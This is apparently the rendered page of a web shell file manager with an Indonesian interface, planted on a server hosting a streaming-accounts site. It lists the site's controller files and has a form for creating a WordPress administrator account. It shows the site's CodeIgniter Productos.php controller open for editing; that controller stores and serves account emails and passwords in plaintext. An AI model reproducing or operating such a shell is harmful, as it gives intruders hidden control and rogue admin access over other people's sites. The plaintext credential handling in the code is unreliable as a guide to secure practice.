📝 File Editor (IP: )
📂 Root Folder:
🔍 Buka
📁 Daftar isi: /home/goblinst/public_html/cuentas.goblinstreaming21.com/application/controllers
⬅️ Kembali ke folder sebelumnya
📄
Clientes.php
📄
Configuraciones.php
📄
Login.php
📄
Paneles.php
📄
Perfiles.php
📄
Productos.php
📄
Servicios.php
📄
Usuarios.php
📄
Ventas.php
📄
Welcome.php
📄
index.html
📁 Folder Baru:
+ Buat
📄 File Baru:
+ Buat
✏️ Rename:
Clientes.php
Configuraciones.php
Login.php
Paneles.php
Perfiles.php
Productos.php
Servicios.php
Usuarios.php
Ventas.php
Welcome.php
index.html
➡️
Rename
➕ Tambah User WordPress (folder aktif)
👤 Username:
📧 Email:
🔒 Password:
➕ Buat User WP (admin)
📝 Mengedit: Productos.php
<?php defined('BASEPATH') or exit('No direct script access allowed'); class Productos extends CI_Controller { public function __construct() { parent::__construct(); $this->load->model('producto'); $this->load->model('servicio'); $this->load->library('PHPExcel'); $this->load->library('excel'); } public function index($id_ser) { $data["listadoProductosPorServicio"] = $this->producto->obtenerTodosPorServicio($id_ser); $data["servicio"] = $this->servicio->obtenerPorId($id_ser); $this->load->view('header'); $this->load->view('productos/index', $data); $this->load->view('footer'); } public function productos() { $this->load->view('header'); $this->load->view('productos/productos'); $this->load->view('footer'); } public function nuevo($id_ser) { $data["servicio"] = $this->servicio->obtenerPorId($id_ser); $this->load->view('header'); $this->load->view('productos/nuevo', $data); $this->load->view('footer'); } public function editar($id_ser) { $data["producto"] = $this->producto->obtenerPorId($id_ser); $this->load->view('header'); $this->load->view('productos/editar', $data); $this->load->view('footer'); } public function guardarProducto() { $datosNuevoProducto = array( "correo_pro" => $this->input->post('correo_pro'), "password_pro" => $this->input->post('password_pro'), "fk_id_ser" => $this->input->post('fk_id_ser'), "fecha_vencimiento_pro" => $this->input->post('fecha_vencimiento_pro'), ); if ($this->producto->insertar($datosNuevoProducto)) { //si es verdadero -> SI se inserto $this->session->set_flashdata( "confirmacion", "Producto ingresado con exito." ); redirect('productos/index/' . $this->input->post('fk_id_ser')); } else { $this->session->set_flashdata( "error", "Producto no ingresado algo fallo." ); redirect('productos/index/' . $this->input->post('fk_id_ser')); } } public function eliminarProducto($id) { $idServicio = $this->producto->obtenerPorId($id); if ($this->producto->eliminar($id)) { $this->session->set_flashdata( "confirmacion", "Cliente eliminado con exito." ); redirect('productos/index/' . $idServicio->fk_id_ser); } else { $this->session->set_flashdata( "error", "Cliente no eliminado algo fallo." ); redirect('productos/index/' . $idServicio->fk_id_ser); } } public function editarProducto() { $id_pro = $this->input->post('id_pro'); $datosNuevoProducto = array( "correo_pro" => $this->input->post('correo_pro'), "password_pro" => $this->input->post('password_pro'), "fk_id_ser" => $this->input->post('fk_id_ser'), // "perfiles_pro" => $this->input->post('perfiles_pro'), "fecha_vencimiento_pro" => $this->input->post('fecha_vencimiento_pro'), "estado_pro" => $this->input->post('estado_pro') ); if ($this->producto->actualizar($id_pro, $datosNuevoProducto)) { //si es verdadero -> SI se inserto $this->session->set_flashdata( "confirmacion", "Producto editado con exito." ); redirect('productos/index/' . $this->input->post('fk_id_ser')); } else { $this->session->set_flashdata( "error", "Producto no editado algo fallo." ); redirect('productos/index/' . $this->input->post('fk_id_ser')); } } public function ajaxTraerProductosPorServicio($id_ser) { $solicitud = $this->producto->obtenerTodosPorServicioJSON($id_ser); echo json_encode($solicitud); } public function ajaxTraerProductosPorID($id_pro) { $producto = $this->producto->obtenerPorIdJSON($id_pro); echo json_encode(['producto'=>$producto]); } public function ajaxTraerServicio($id_pro) { $producto = $this->producto->obtenerPorIdJSONService($id_pro); foreach($producto as $p){ $id_ser = $p->id_ser; } echo $id_ser; } public function import() { // $file_picture = ""; // $created_at = date("Y-m-d H:i:s"); // $updated_at = ""; if (isset($_FILES["file"]["name"])) { $path = $_FILES["file"]["tmp_name"]; PHPExcel_Settings::setZipClass(PHPExcel_Settings::PCLZIP); $object = PHPExcel_IOFactory::load($path); foreach ($object->getWorksheetIterator() as $worksheet) { $highestRow = $worksheet->getHighestRow(); $highestColumn = $worksheet->getHighestColumn(); for ($row = 2; $row <= $highestRow; $row++) { for ($column = 0; $column <= $highestColumn; $column++) { if ($worksheet->getCellByColumnAndRow($column, $row)->getValue() != "") { $correo_pro = $worksheet->getCellByColumnAndRow(0, $row)->getValue(); $password_pro = $worksheet->getCellByColumnAndRow(1, $row)->getValue(); $fk_id_ser = $worksheet->getCellByColumnAndRow(2, $row)->getValue(); $fecha_vencimiento_pro = $worksheet->getCellByColumnAndRow(3, $row)->getValue(); $params[] = array( 'correo_pro' => $correo_pro, 'password_pro' => $password_pro, 'fk_id_ser' => $fk_id_ser, 'fecha_vencimiento_pro' => $fecha_vencimiento_pro, ); } } } } if ($this->producto->importar($params)) { //si es verdadero -> SI se inserto $this->session->set_flashdata( "confirmacion", "Productos importados con exito." ); redirect('servicios/index'); } else { $this->session->set_flashdata( "error", "Productos no importados algo fallo." ); redirect('servicios/index'); } } } public function getData($id_ser) { $results = $this->producto->obtenerTodosJson($id_ser); $data = []; $no = $_POST['start']; foreach ($results as $result) { $row = array(); //$row[] = ++$no; $row[] = $result->id_pro; $row[] = $result->correo_pro; $row[] = $result->password_pro; $row[] = formatearFechaDMA($result->fecha_vencimiento_pro); $row[] = $result->estado_pro; $data[] = $row; } $output = array( "draw" => $_POST['draw'], "recordsTotal" => $this->producto->count_all_data($id_ser), "recordsFiltered" => $this->producto->count_filtered_data($id_ser), "data" => $data, ); $this->output->set_content_type('application/json')->set_output(json_encode($output)); } public function getDataTwo() { $results = $this->producto->obtenerTodosJsontwo(); $data = []; $no = $_POST['start']; foreach ($results as $result) { $row = array(); //$row[] = ++$no; $row[] = $result->id_pro; $row[] = $result->nombre_ser; $row[] = $result->correo_pro; $row[] = $result->password_pro; $row[] = formatearFechaDMA($result->fecha_vencimiento_pro); $row[] = $result->estado_pro; $data[] = $row; } $output = array( "draw" => $_POST['draw'], "recordsTotal" => $this->producto->count_all_data($id_ser), "recordsFiltered" => $this->producto->count_filtered_data_two(), "data" => $data, ); $this->output->set_content_type('application/json')->set_output(json_encode($output)); } public function CRUD() { $opcionCrud = $this->input->post('opcionCrud'); switch ($opcionCrud) { case 1: $this->guardarProducto(); break; case 2: $this->editarProducto(); break; case 3: $this->eliminarProducto($this->input->post('id_pro')); break; } } public function traerIDServicioJson($id_pro) { $solicitud = $this->producto->obtenerIdServicioJSON($id_pro); $this->output->set_content_type('application/json')->set_output(json_encode($solicitud)); } //Productos Vigentes LR public function getDataVigente() { $results = $this->producto->obtenerTodosPorVigenteJson(); $data = []; $no = $_POST['start']; foreach ($results as $result) { $row = array(); //$row[] = ++$no; $row[] = $result->id_pro; $row[] = $result->nombre_ser; $row[] = $result->correo_pro; $row[] = $result->password_pro; $row[] = formatearFechaDMA($result->fecha_vencimiento_pro); $row[] = $result->estado_pro; $data[] = $row; } $output = array( "draw" => $_POST['draw'], "recordsTotal" => $this->producto->count_all_data($id_ser), "recordsFiltered" => $this->producto->count_filtered_data_two(), "data" => $data, ); $this->output->set_content_type('application/json')->set_output(json_encode($output)); } public function getDataVigenteP($id_ser) { $results = $this->producto->obtenerTodosPorVigentePJson($id_ser); $data = []; $no = $_POST['start']; foreach ($results as $result) { $row = array(); //$row[] = ++$no; $row[] = $result->id_pro; $row[] = $result->correo_pro; $row[] = $result->password_pro; $row[] = formatearFechaDMA($result->fecha_vencimiento_pro); $row[] = $result->estado_pro; $data[] = $row; } $output = array( "draw" => $_POST['draw'], "recordsTotal" => $this->producto->count_all_data($id_ser), "recordsFiltered" => $this->producto->count_filtered_data_two(), "data" => $data, ); $this->output->set_content_type('application/json')->set_output(json_encode($output)); } //Productos Vencidos LR INICIO public function getDataVencido() { $results = $this->producto->obtenerTodosPorVencidoJson(); $data = []; $no = $_POST['start']; foreach ($results as $result) { $row = array(); //$row[] = ++$no; $row[] = $result->id_pro; $row[] = $result->nombre_ser; $row[] = $result->correo_pro; $row[] = $result->password_pro; $row[] = formatearFechaDMA($result->fecha_vencimiento_pro); $row[] = $result->estado_pro; $data[] = $row; } $output = array( "draw" => $_POST['draw'], "recordsTotal" => $this->producto->count_all_data($id_ser), "recordsFiltered" => $this->producto->count_filtered_data_two(), "data" => $data, ); $this->output->set_content_type('application/json')->set_output(json_encode($output)); } public function getDataVencidoP($id_ser) { $results = $this->producto->obtenerTodosPorVencidoPJson($id_ser); $data = []; $no = $_POST['start']; foreach ($results as $result) { $row = array(); //$row[] = ++$no; $row[] = $result->id_pro; $row[] = $result->correo_pro; $row[] = $result->password_pro; $row[] = formatearFechaDMA($result->fecha_vencimiento_pro); $row[] = $result->estado_pro; $data[] = $row; } $output = array( "draw" => $_POST['draw'], "recordsTotal" => $this->producto->count_all_data($id_ser), "recordsFiltered" => $this->producto->count_filtered_data_two(), "data" => $data, ); $this->output->set_content_type('application/json')->set_output(json_encode($output)); } //Productos Vencidos LR FIN //Productos Por Vencer LR INICIO public function getDataPorVencer() { $results = $this->producto->obtenerTodosPorVencerJson(); $data = []; $no = $_POST['start']; foreach ($results as $result) { $row = array(); //$row[] = ++$no; $row[] = $result->id_pro; $row[] = $result->nombre_ser; $row[] = $result->correo_pro; $row[] = $result->password_pro; $row[] = formatearFechaDMA($result->fecha_vencimiento_pro); $row[] = $result->estado_pro; $data[] = $row; } $output = array( "draw" => $_POST['draw'], "recordsTotal" => $this->producto->count_all_data($id_ser), "recordsFiltered" => $this->producto->count_filtered_data_two(), "data" => $data, ); $this->output->set_content_type('application/json')->set_output(json_encode($output)); } public function getDataPorVencerP($id_ser) { $results = $this->producto->obtenerTodosPorVencerPJson($id_ser); $data = []; $no = $_POST['start']; foreach ($results as $result) { $row = array(); //$row[] = ++$no; $row[] = $result->id_pro; $row[] = $result->correo_pro; $row[] = $result->password_pro; $row[] = formatearFechaDMA($result->fecha_vencimiento_pro); $row[] = $result->estado_pro; $data[] = $row; } $output = array( "draw" => $_POST['draw'], "recordsTotal" => $this->producto->count_all_data($id_ser), "recordsFiltered" => $this->producto->count_filtered_data_two(), "data" => $data, ); $this->output->set_content_type('application/json')->set_output(json_encode($output)); } //Productos Por Vencer LR FIN //Productos vendidos LR INICIO public function getDataVendido() { $results = $this->producto->obtenerTodosVendidoJson(); $data = []; $no = $_POST['start']; foreach ($results as $result) { $row = array(); //$row[] = ++$no; $row[] = $result->id_pro; $row[] = $result->nombre_ser; $row[] = $result->correo_pro; $row[] = $result->password_pro; $row[] = formatearFechaDMA($result->fecha_vencimiento_pro); $row[] = $result->estado_pro; $data[] = $row; } $output = array( "draw" => $_POST['draw'], "recordsTotal" => $this->producto->count_all_data($id_ser), "recordsFiltered" => $this->producto->count_filtered_data_two(), "data" => $data, ); $this->output->set_content_type('application/json')->set_output(json_encode($output)); } public function getDataVendidoP($id_ser) { $results = $this->producto->obtenerTodosVendidoPJson($id_ser); $data = []; $no = $_POST['start']; foreach ($results as $result) { $row = array(); //$row[] = ++$no; $row[] = $result->id_pro; $row[] = $result->correo_pro; $row[] = $result->password_pro; $row[] = formatearFechaDMA($result->fecha_vencimiento_pro); $row[] = $result->estado_pro; $data[] = $row; } $output = array( "draw" => $_POST['draw'], "recordsTotal" => $this->producto->count_all_data($id_ser), "recordsFiltered" => $this->producto->count_filtered_data_two(), "data" => $data, ); $this->output->set_content_type('application/json')->set_output(json_encode($output)); } //Productos vendidos LR FIN }
💾 Simpan
🔁 Replace Teks (Ctrl+H)
Cari:
Ganti Dengan:
Replace All
Tutup